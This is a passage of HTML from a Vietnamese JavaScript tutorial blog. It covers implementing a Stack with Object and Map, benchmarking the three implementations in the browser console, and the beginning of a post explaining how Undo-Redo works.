punctuation">.</span><span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>size<span class="token punctuation">]</span> <span class="token operator">=</span> item<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">let</span> item <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token keyword">return</span> item<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">peek</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="triển-khai-stack-trong-javascript-với-map" style="position:relative;"><a href="#tri%E1%BB%83n-khai-stack-trong-javascript-v%E1%BB%9Bi-map" aria-label="triển khai stack trong javascript với map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Stack trong JavaScript với Map</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MStack</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">capability</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capability <span class="token operator">=</span> capability<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capability<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">push</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>size<span class="token punctuation">,</span> item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">let</span> item <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> item<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">peek</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="so-sánh-hiệu-năng-3-cách-triển-khai-stack-trong-javascript" style="position:relative;"><a href="#so-s%C3%A1nh-hi%E1%BB%87u-n%C4%83ng-3-c%C3%A1ch-tri%E1%BB%83n-khai-stack-trong-javascript" aria-label="so sánh hiệu năng 3 cách triển khai stack trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh hiệu năng 3 cách triển khai Stack trong JavaScript</h2> <h3 id="kịch-bản-test" style="position:relative;"><a href="#k%E1%BB%8Bch-b%E1%BA%A3n-test" aria-label="kịch bản test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kịch bản test</h3> <p>Để test 3 cách triển khai Stack trong JavaScript với Array, Object và Map, mình viết một đoạn code như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> Capability <span class="token operator">=</span> <span class="token number">50000000</span><span class="token punctuation">;</span> <span class="token keyword">const</span> TestCase <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// Test dành cho Array</span> <span class="token keyword">const</span> st <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">AStack</span><span class="token punctuation">(</span>Capability<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * // Test dành cho Object * const st = new OStack(Capability); * * // Test dành cho Map * const st = new MStack(Capability); */</span> <span class="token keyword">const</span> start <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> tc <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> tc <span class="token operator">&lt;</span> TestCase<span class="token punctuation">;</span> tc<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> Capability<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> st<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> Capability<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> st<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> end <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> duration <span class="token operator">=</span> <span class="token punctuation">(</span>end <span class="token operator">-</span> start<span class="token punctuation">)</span> <span class="token operator">/</span> TestCase<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Duration: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>duration<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> ms</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, mình khởi tạo Stack với kích thước tối đa là <strong>Capability = 50000000</strong>. Kích thước này theo mình là hợp lý vì nếu kích thước Stack nhỏ quá thì kết quả có thể sẽ không chính xác lắm. Ngược lại, nếu kích thước tối đa mà quá lớn thì có thể làm cho trình duyệt hoặc máy bạn bị đơ vì thiếu bộ nhớ hoặc thời gian chạy quá lâu.</p> <p>Tiếp theo, giá trị <strong>TestCase = 10</strong>, nghĩa là mình thực hiện một công việc 10 lần, sau khi hoàn thành, tính được tổng thời gian thực thi thì mình sẽ chia cho 10 để lấy giá trị trung bình.</p> <p>Công việc ở đây là mình sẽ push liên tục một số lượng bằng <strong>Capability</strong> phần tử vào Stack. Sau đó, mình pop liên tiếp để xoá hết các phần tử đó khỏi Stack.</p> <p>Để tính thời gian, mình sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance/now">performance.now()</a>. Phương thức này trả về giá trị thời gian hiện tại theo <strong>milliseconds</strong>. Mình sẽ lấy giá trị thời gian <strong>trước</strong> và <strong>sau</strong> khi thực hiện công việc, rồi trừ cho nhau sẽ suy ra giá trị tổng thời gian. Cuối cùng chia nó cho số lượng <strong>Testcase</strong> để suy ra giá trị trung bình và hiển thị.</p> <h3 id="môi-trường-test" style="position:relative;"><a href="#m%C3%B4i-tr%C6%B0%E1%BB%9Dng-test" aria-label="môi trường test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Môi trường test</h3> <p>Mình thực hiện test trên Console của Google Chrome. Bạn có thể mở Console này bằng cách nhấn tổ hợp phím (Ctrl + Shift + I) hoặc F12.</p> <p>Nếu bạn test trên trình duyệt khác thì cũng tương tự.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 98.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAACF0lEQVQ4y5WT247aMBCGef/Ha9UbdiFAgCSQ+Diescdjpwos0m6XUvWX5ZvR5/nn4NV+vz8cDkrpcRyPx9M0qWHSm/1xmNQ4jufz2RjT9/3xeDLGKKW89845pZboarvdbt43TdO8v79vNtvNtvn5tv2x3v56a5qm2e/3bdvudru2bbuua9tWKdV13eVyWa/XK+ec9x4RiTASISIG4BQiBfwkIko3MfP9ds6tSik11ZIrUsFYpdScZ2/mSPNr5ZxXkiVsjD5Bs3Onnb/0+nTQ1wGuF4eIOeeXsIiEnDBLlko5QADwiN7DRzn/gh0nzMYtxXhwxlhrbQjBe19KeQmzJBuTo+hzTgU8xYjO2nEctTEUAMPzJxa41JID28FMx8lZr5XPnIzWXddP0wTeobeJ+S9wKVkkMeNtTC98PodLEiEWlFrnSFlEiNBaBwApRY70tOcftiVlO5q+7QEgxhuMCAD3xcicROQ7zMyrnIUzz/+jWus8z8aYBc7ITMKpMMewtDfEGJcNeZbwCyxZ+IIwxcs1TVPQ1nbD4LzvhwG8Z07WewC4A3fyEyyCPgQIxgIBVufF+zlGcM5aS86SMUT0PDMzj9MibdS179W5m7rlDF2njcmRSooiUh+y1iqlmHmBiUgrrZQCCBRjIALE+2/MOdeHz/IQ3gYhIkqpFd5mIyLf1+NOzo8i/7CttV59nmH9qr+1+h4CgN9yC4gTAwNicAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="copy-paste code trực tiếp vào tab console" title="copy-paste code trực tiếp vào tab console" src="/static/4b55593400843d8c66439a469f411f9f/7c811/console.png" srcset="/static/4b55593400843d8c66439a469f411f9f/103f2/console.png 165w, /static/4b55593400843d8c66439a469f411f9f/748ba/console.png 330w, /static/4b55593400843d8c66439a469f411f9f/7c811/console.png 660w, /static/4b55593400843d8c66439a469f411f9f/198ed/console.png 702w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bạn chỉ cần copy-paste toàn bộ phần code (bao gồm code triển khai Stack và Code test) vào tab <strong>Console</strong> rồi nhấn Enter là được. Nhớ là nếu bạn test Stack với Array thì trong phần code test bạn phải khởi tạo Stack ứng với Array (<strong>AStack</strong>). Tương tự như Stack với Object (<strong>OStack</strong>) và Stack với Map (<strong>MStack</strong>).</p> <h3 id="kết-quả" style="position:relative;"><a href="#k%E1%BA%BFt-qu%E1%BA%A3" aria-label="kết quả permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết quả</h3> <p>Sau một hồi kiểm tra mình thu được kết quả:</p> <ul> <li>Stack với Array: <strong>~388 ms/testcase</strong></li> <li>Stack với Object: <strong>~7637 ms/testcase</strong></li> <li>Stack với Map: <strong>~3193 ms/testcase</strong></li> </ul> <p>Dĩ nhiên, thời gian test có thể khác nhau giữa các lần test, giữa các trình duyệt và giữa các máy tính. Tuy nhiên, suy cho cùng thì mình thấy rằng triển khai Stack bằng Array vẫn là nhanh nhất.</p> <p>Nếu bạn test trên máy mà thấy kết quả khác xa với kết quả trên thì có thể để lại comment xuống phía dưới giúp mình nhé! (Để mình nghiên cứu lại)</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách triển khai Stack trong JavaScript với Array, Object và Map.</p> <p>Hy vọng qua bài viết này bạn thu được:</p> <ul> <li>Kiến thức cơ bản về cấu trúc dữ liệu Stack.</li> <li>Biết cách triển khai Stack trong JavaScript với Array, Object và Map.</li> <li>So sánh tốc độ giữa 3 cách triển khai.</li> </ul> <p>Ngoài 3 cách triển khai trên thì bạn còn có cách nào khác nữa không. Chia sẻ lại với mình và mọi người nhé!</p> <p>Xin chào và hẹn gặp lại!</p>[email protected]<![CDATA[Triển khai thuật toán Undo-Redo trong JavaScript]]><![CDATA[Đối với hầu hết các ứng dụng (text editor, chỉnh sửa ảnh,...), việc triển khai thuật toán Undo-Redo là thật sự cần thiết. Tuy nhiên, để hiểu và triển khai thuật toán này thì không…]]>https://completejavascript.com/trien-khai-thuat-toan-undo-redo-trong-javascript/https://completejavascript.com/trien-khai-thuat-toan-undo-redo-trong-javascript/<![CDATA[Thuật toán]]>Wed, 24 Jan 2018 12:00:10 GMT<p>Đối với hầu hết các ứng dụng (text editor, chỉnh sửa ảnh,...), việc triển khai <a href="/tag/thuat-toan/">thuật toán</a> Undo-Redo là thật sự cần thiết. Tuy nhiên, để hiểu và triển khai thuật toán này thì không hề đơn giản chút nào. Vì vậy, bài viết này mình sẽ cố gắng chia sẻ với các bạn những kiến thức mà mình rút ra sau khi đọc và tìm hiểu rất nhiều hướng dẫn trên mạng. Qua đó, bạn có thể dễ dàng triển khai thuật toán Undo-Redo với bất kì ngôn ngữ nào, chứ không chỉ giới hạn ở JavaScript.</p> <h2 id="vai-trò-của-việc-triển-khai-thuật-toán-undo-redo" style="position:relative;"><a href="#vai-tr%C3%B2-c%E1%BB%A7a-vi%E1%BB%87c-tri%E1%BB%83n-khai-thu%E1%BA%ADt-to%C3%A1n-undo-redo" aria-label="vai trò của việc triển khai thuật toán undo redo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vai trò của việc triển khai thuật toán Undo-Redo</h2> <p>Có lẽ không cần phải nói nhiều về vai trò của thuật toán Undo-Redo. Vì nó hiện diện ở hầu hết các ứng dụng mà lập trình viên chúng ta sử dụng hằng ngày. Công cụ này giúp lưu lại trạng thái của ứng dụng mỗi khi có một sự thay đổi diễn ra.</p> <p>Nhờ đó mà người dùng có thể đưa ứng dụng quay trở lại trạng thái cũ hoặc từ trạng thái cũ tiến lên trạng thái mới hơn.</p> <h2 id="cách-thức-hoạt-động-của-undo-redo" style="position:relative;"><a href="#c%C3%A1ch-th%E1%BB%A9c-ho%E1%BA%A1t-%C4%91%E1%BB%99ng-c%E1%BB%A7a-undo-redo" aria-label="cách thức hoạt động của undo redo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách thức hoạt động của Undo-Redo</h2> <p>Giả sử, bạn đã lưu lại trạng thái ứng dụng là: S[0], S[1], S[2],..., S[i],..., S[n-1], S[n].</p> <p>Trong đó:</p> <ul> <li>S[0] là trạng thái đầu tiên</li> <li>S[n] là trạng thái mới nhất của ứng dụng</li> <li>S[i] là trạng thái hiện tại của ứng dụng</li> </ul> <h3 id="cách-thức-hoạt-động-của-undo" style="position:relative;"><a href="#c%C3%A1ch-th%E1%BB%A9c-ho%E1%BA%A1t-%C4%91%E1%BB%99ng-c%E1%BB%A7a-undo" aria-label="cách thức hoạt động của undo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách thức hoạt động của Undo</h3> <p><strong>Undo</strong> là hoạt động đưa ứng dụng về trạng thái cũ hơn với bước nhảy là 1: S[n] → S[n-1] → ... → S[1] → S[0]. Nghĩa là bạn chỉ có thể thực hiện Undo khi bạn đang ở trạng thái S[i] với i > 0.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 522px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 47.878787878787875%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA60lEQVQoz5WR3WrDMAyF8/6P1iaDjsDaDJoldmD5b2ZHtiXFHYlhFy2067kQFtKHjuToeqeFl8V7IvLeXx8quskB5rck2e33p1PGzK/BWuuu65T6kVI6557ARISIzIyIRMTMm1sPYIwxtCmUbtqYOTqfz8PQl0KMY58XxWWanLNKaSnL8TJZaxFxGMf8K6/r76qqhBDD0EspZ4AIwghjQwAAt6ltW6UUIjrn1oq1xsAWw3s1Fd1vEo7cNI0x5tVrr5OJSGkNADDPiGv6L7ipmzhJ4niXpulnlh0O78fjR1GKP0eP4ND09IcD/AsTL0bEiIuYPwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cách thức hoạt động của Undo" title="Cách thức hoạt động của Undo" src="/static/53193b4298c68e2c708a324f3b476c0d/d15a3/cach-thuc-hoat-dong-undo-completejavascript.com_.png" srcset="/static/53193b4298c68e2c708a324f3b476c0d/103f2/cach-thuc-hoat-dong-undo-completejavascript.com_.png 165w, /static/53193b4298c68e2c708a324f3b476c0d/748ba/cach-thuc-hoat-dong-undo-completejavascript.com_.png 330w, /static/53193b4298c68e2c708a324f3b476c0d/d15a3/cach-thuc-hoat-dong-undo-completejavascript.com_.png 522w" sizes="(max-width: 522px) 100vw, 522px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="cách-thức-hoạt-động-của-redo" style="position:relative;"><a href="#c%C3%A1ch-th%E1%BB%A9c-ho%E1%BA%A1t-%C4%91%E1%BB%99ng-c%E1%BB%A7a-redo" aria-label="cách thức hoạt động của redo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách thức hoạt động của Redo</h3> <p>Ngược lại với Undo, <strong>Redo</strong> là hoạt động đưa ứng dụng về trạng thái mới hơn với bước nhảy là 1: S[0] → S[1] → ... → S[n-1] → S[n]. Nghĩa là bạn chỉ có thể thực hiện Redo khi bạn đang ở trạng thái thứ S[i] với i &#x3C; n.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 529px; " > <span 